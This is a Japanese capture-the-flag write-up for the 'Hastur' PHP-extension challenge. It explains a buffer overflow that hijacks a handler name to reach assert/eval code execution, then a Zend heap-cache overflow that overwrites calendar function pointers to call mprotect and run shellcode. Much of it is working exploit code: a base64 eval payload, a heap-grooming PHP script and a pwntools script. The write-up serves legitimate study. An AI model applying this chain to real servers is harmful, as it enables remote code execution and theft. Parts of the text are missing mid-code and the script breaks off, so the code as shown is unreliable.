<> = Hastur (flag1) = `mod_flag.so`を見ることで`/flag1`にflag1が存在することがわかる. `hastur_set_name`は`strncpy`を用いているように見えるが,その実,受け取った長さをそのまま渡しており,実質`strcpy`である. {{{#!highlight c static PHP_FUNCTION(hastur_set_name) { char *str; int str_len; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s", &str, &str_len) == FAILURE) { return; } strncpy(god_name, str, str_len + 1); } }}} `god_name`は`handler`と連続しており,`hastur_set_name`によって`handler`を上書きできる. {{{#!highlight c static char god_name[32]; // bss:00003100 = "Hastur"; static char handler[32]; // bss:00003120 = "hastur_ia_ia_handler"; }}} `handler`は`hastur_ia_ia`関数で使われており,その名前のPHPの関数に引数`(text, god_name)`を与えて呼び出す. ただしここで`text`とは第1引数を"flag"から"iaia"に置換したものである. {{{#!highlight c static PHP_FUNCTION(hastur_ia_ia) { zval **params[2]; char *text; int text_len; zval *text_zval; zval *name_zval; zval *handler_zval; zval *retval_ptr; int i; MAKE_STD_ZVAL(handler_zval); MAKE_STD_ZVAL(name_zval); MAKE_STD_ZVAL(text_zval); ZVAL_STRING(handler_zval, handler, 1); ZVAL_STRING(name_zval, god_name, 1); params[0] = &text_zval; params[1] = &name_zval; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s", &text, &text_len) == FAILURE) { RETURN_FALSE; } ZVAL_STRINGL(text_zval, text, text_len, 1); char *ntext = Z_STRVAL_P(text_zval); for (i = 0; i < text_len; i++) { if (strncmp(ntext + i, "flag", 4) == 0) { strncpy(ntext + i, "iaia", 4); } } if (call_user_function_ex(EG(function_table), NULL, handler_zval, &retval_ptr, 2, params, 0, NULL TSRMLS_CC) == SUCCESS) { if (retval_ptr) { COPY_PZVAL_TO_ZVAL(*return_value, retval_ptr); } } FREE_ZVAL(handler_zval); FREE_ZVAL(name_zval); // あ,text_zval開放し忘れてる…… } }}} よって,2引数の関数を,第1引数をほぼ自由にコントロールできる状態で呼び出すことができる. ただし,"flag"が置換されてしまうため,直接`file_get_contents`を呼び出してフラグを得ることができない. `assert`と`eval`を用いることで,この条件で任意のPHPコードを実行することができる. {{{#!highlight python form = { "name": "A"*32 + "assert", "text": "@exit(@eval(@base64_decode('" + script.encode("base64") + "')))", } }}} Reference: `http://average-coder.blogspot.jp/2014_01_01_archive.html` = Hastur (flag2) = flag2は`mod_flag.so`のBSS領域に記録されている. flag1で任意のPHPコードは実行できるようになったので まず初めに思いつくのは`/proc/self/mem`から読み出す方法であるが, rootでプロセスが起動してから権限降格しているために`/proc/self/mem`の所有者はrootとなっている. このためファイルシステムからメモリを読みだす方法を取ることができない. よって,flag2を得るためにはapacheのプロセス上でメモリを書き出す必要がある. 任意コード実行に持ち込まない持ち込まない解法も考えられるが この解法ではnative codeの任意コード実行に持ち込んだ. (もっと簡単にメモリのダンプだけできることはエクスプロイトを作っただいぶ後に気づいたため.) `hastur.so`の`hastur_ia_ia_handler`にはヒープオーバーフローの脆弱性があるためこれを用いる. {{{#!highlight c static PHP_FUNCTION(hastur_ia_ia_handler) { char *text, *name; int text_len, name_len; int i; char extra[1024]; int extra_len; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "ss", &text, &text_len, &name, &name_len) == FAILURE) { RETURN_FALSE; } snprintf(extra, sizeof(extra), " ia! ia! %s!", name); extra_len = strlen(extra); size_t new_len = 0; char *p = text; while (*p) { new_len++; if (*p++ == '.') new_len += extra_len; } char *ns = emalloc(new_len + 1); p = ns; for (i = 0; i < text_len; i++) { *p++ = text[i]; if (text[i] == '.') { strncpy(p, extra, extra_len); p += extra_len; } } *p = '\0'; RETURN_STRING(ns, 0); } }}} `new_len`は`text`の`'\0'`までを処理した長さであるが, `new_len+1`だけ確保されたメモリに,`'\0'`と無関係に与えられた長さ`text_len`分だけ書き込んでいる. これを用いてヒープの管理構造を破壊することができる. PHPのメモリ管理: https://wiki.php.net/internals/zend_mm 主要なメモリ管理構造は次のようになっている. {{{#!highlight c typedef struct _zend_mm_block_info { size_t _size; size_t _prev; } zend_mm_block_info; typedef struct _zend_mm_block { zend_mm_block_info info; } zend_mm_block; typedef struct _zend_mm_small_free_block { zend_mm_block_info info; struct _zend_mm_free_block *prev_free_block; struct _zend_mm_free_block *next_free_block; } zend_mm_small_free_block; }}} つまり`zend_mm_small_free_block`の位置関係は次の図のようになっている. {{{ 0 1 2 3 4 5 6 7 +----+----+----+----+----+----+----+----+ | _size | _prev | +----+----+----+----+----+----+----+----+ | prev_free_block | next_free_block | +----+----+----+----+----+----+----+----+ }}} 主要なマクロは次の通り. {{{#!highlight c #define ZEND_MM_NUM_BUCKETS (sizeof(size_t) << 3) #define ZEND_MM_ALIGNMENT 8 #define ZEND_MM_ALIGNMENT_LOG2 3 #define ZEND_MM_ALIGNMENT_MASK ~(ZEND_MM_ALIGNMENT-1) #define ZEND_MM_ALIGNED_SIZE(size) (((size) + ZEND_MM_ALIGNMENT - 1) & ZEND_MM_ALIGNMENT_MASK) #define ZEND_MM_ALIGNED_HEADER_SIZE ZEND_MM_ALIGNED_SIZE(sizeof(zend_mm_block)) #define ZEND_MM_BLOCK_AT(blk, offset) ((zend_mm_block *) (((char *) (blk))+(offset))) #define ZEND_MM_DATA_OF(p) ((void *) (((char *) (p))+ZEND_MM_ALIGNED_HEADER_SIZE)) #define ZEND_MM_HEADER_OF(blk) ZEND_MM_BLOCK_AT(blk, -(int)ZEND_MM_ALIGNED_HEADER_SIZE) #define ZEND_MM_MAX_SMALL_SIZE ((ZEND_MM_NUM_BUCKETS<cached < ZEND_MM_CACHE_SIZE)) { size_t index = ZEND_MM_BUCKET_INDEX(size); zend_mm_free_block **cache = &heap->cache[index]; ((zend_mm_free_block*)mm_block)->prev_free_block = *cache; *cache = (zend_mm_free_block*)mm_block; heap->cached += size; HANDLE_UNBLOCK_INTERRUPTIONS(); return; } }}} そして確保(`_emalloc`)された時にサイズの一致するcacheがあれば優先してそれをpopして返す. {{{#!highlight c static void *_zend_mm_alloc_int(zend_mm_heap *heap, size_t size ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC) { ... if (EXPECTED(ZEND_MM_SMALL_SIZE(true_size))) { size_t index = ZEND_MM_BUCKET_INDEX(true_size); size_t bitmap; if (UNEXPECTED(true_size < size)) { goto out_of_memory; } #if ZEND_MM_CACHE if (EXPECTED(heap->cache[index] != NULL)) { /* サイズの一致するcacheがあれば */ /* Get block from cache */ best_fit = heap->cache[index]; heap->cache[index] = best_fit->prev_free_block; heap->cached -= true_size; ZEND_MM_CHECK_MAGIC(best_fit, MEM_BLOCK_CACHED); ZEND_MM_SET_DEBUG_INFO(best_fit, size, 1, 0); HANDLE_UNBLOCK_INTERRUPTIONS(); return ZEND_MM_DATA_OF(best_fit); } #endif }}} よって,書き換えたいアドレス(-`ZEND_MM_ALIGNED_HEADER_SIZE`)をcacheに積むことができれば, 次に`_emalloc`した時にそのアドレスが返される. `_zend_mm_alloc_int`のキャッシュからのメモリ確保の処理で,popしている部分に注目する. {{{#!highlight c heap->cache[index] = best_fit->prev_free_block; }}} これは,今,確保して返そうとしている`small_free_block`の`prev_free_block`部分にある アドレスが次のcacheの先頭になることを意味している. よって,次に確保されるブロック上にある`prev_free_block`をヒープオーバーフローで上書きしてやれば良い. 任意のアドレスにデータを上書きできるようになったので,次にどこを書き換えるべきかを考える. 候補は次のように複数あり,どれを利用してもexploit可能だと考えられる. * stack * GOT * 関数ポインタ ここでは関数ポインタを上書きする手法を述べる. 関数ポインタの場合は何でも良いわけではなく,引数が制御できる必要がある. stack書き換えでROPする場合にはこのような点は考えなくて良いだろう. `calendar`モジュールには次のような関数ポインタが含まれる構造が存在する. {{{#!highlight c typedef long int (*cal_to_jd_func_t) (int month, int day, int year); typedef void (*cal_from_jd_func_t) (long int jd, int *year, int *month, int *day); struct cal_entry_t { char *name; char *symbol; cal_to_jd_func_t to_jd; cal_from_jd_func_t from_jd; int num_months; int max_days_in_month; char **month_name_short; char **month_name_long; }; static struct cal_entry_t cal_conversion_table[CAL_NUM_CALS] = { {"Gregorian", "CAL_GREGORIAN", GregorianToSdn, SdnToGregorian, 12, 31, MonthNameShort, MonthNameLong}, {"Julian", "CAL_JULIAN", JulianToSdn, SdnToJulian, 12, 31, MonthNameShort, MonthNameLong}, {"Jewish", "CAL_JEWISH", JewishToSdn, SdnToJewish, 13, 30, JewishMonthNameLeap, JewishMonthNameLeap}, {"French", "CAL_FRENCH", FrenchToSdn, SdnToFrench, 13, 30, FrenchMonthName, FrenchMonthName} }; }}} 特に`to_jd`の呼び出し部分は次のようになっており,3引数の制御が可能である. {{{#!highlight c PHP_FUNCTION(cal_to_jd) { long cal, month, day, year; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "llll", &cal, &month, &day, &year) != SUCCESS) { RETURN_FALSE; } if (cal < 0 || cal >= CAL_NUM_CALS) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "invalid calendar ID %ld.", cal); RETURN_FALSE; } RETURN_LONG(cal_conversion_table[cal].to_jd(year, month, day)); } }}} これを利用して`mprotect`を実行することで,適当な文字列内に配置したシェルコードを実行することが可能になる. 以上を総合して,次のようなexploitで,シェルコードの実行が可能となる. `exec-shellcode.php` {{{#!highlight php = 0; $i--) unset($reserved_blocks[$i]); $foo = str_repeat("1", SIZE-1); $bar = str_repeat("2", SIZE-1); $baz = str_repeat("3", SIZE-1); if (DEBUG) { echo "[foo]\n"; hastur_dump($foo); } unset($bar, $foo); // make overflow; insert cal_conversion_table to cache list $foo = hastur_ia_ia_handler($payload, ''); if (DEBUG) { echo "[foo]\n"; hastur_dump($foo); } // pop; cal_conversion_table will be top of cache. $bar = str_repeat("A", SIZE-1); if (DEBUG) { echo "[bar]\n"; hastur_dump($bar); } // overwrite to cal_conversion_table. $baz = str_pad(pack("LL", $mprotect, $addr_shellcode). $shellcode, SIZE-1); if (DEBUG) { echo "[baz]\n"; hastur_dump($baz); } // let shellcode executable $addr = $addr_shellcode & ~(4096-1); $size = 8192; $prot = 7; cal_to_jd(0, $size, $prot, $addr); echo "Let's fun\n"; flush(); // run shellcode cal_from_jd(0, 0); }}} `exploit.py` {{{#!highlight python import urllib from pwn import * context(arch = "i386", os = "linux") HOST = 'localhost' PORT = 31178 if len(sys.argv) > 1: HOST = sys.argv[1] if len(sys.argv) > 2: PORT = int(sys.argv[2]) def resolve_addresses(): global REL_CAL_CONVERSION_TABLE global REL_PHP_OUTPUT_WRITE_UNBUFFERED global REL_MPROTECT if not os.path.exists("data/libphp5.so"): cmd = "print(file_get_contents('/usr/lib/apache2/modules/libphp5.so'));" with open("data/libphp5.so", "w") as f: f.write(execute_php(cmd).recvall()[:-7]) if not os.path.exists("data/libc-2.19.so"): cmd = "print(file_get_contents('/lib/i386-linux-gnu/libc-2.19.so'));" with open("data/libc-2.19.so", "w") as f: f.write(execute_php(cmd).recvall()[:-7]) php5 = ELF("data/libphp5.so") libc = ELF("data/libc-2.19.so") REL_CAL_CONVERSION_TABLE = list(php5.search(p32(list(php5.search("CAL_GREGORIAN\0"))[0])))[0]-4 REL_PHP_OUTPUT_WRITE_UNBUFFERED = php5.symbols["php_output_write_unbuffered"] REL_MPROTECT = libc.symbols["mprotect"] def connect(): return remote(HOST, PORT) def read_chunk(conn): line = conn.recvline() length = unhex(line) return conn.recvn(line) def execute_php(script): if script[:5] == "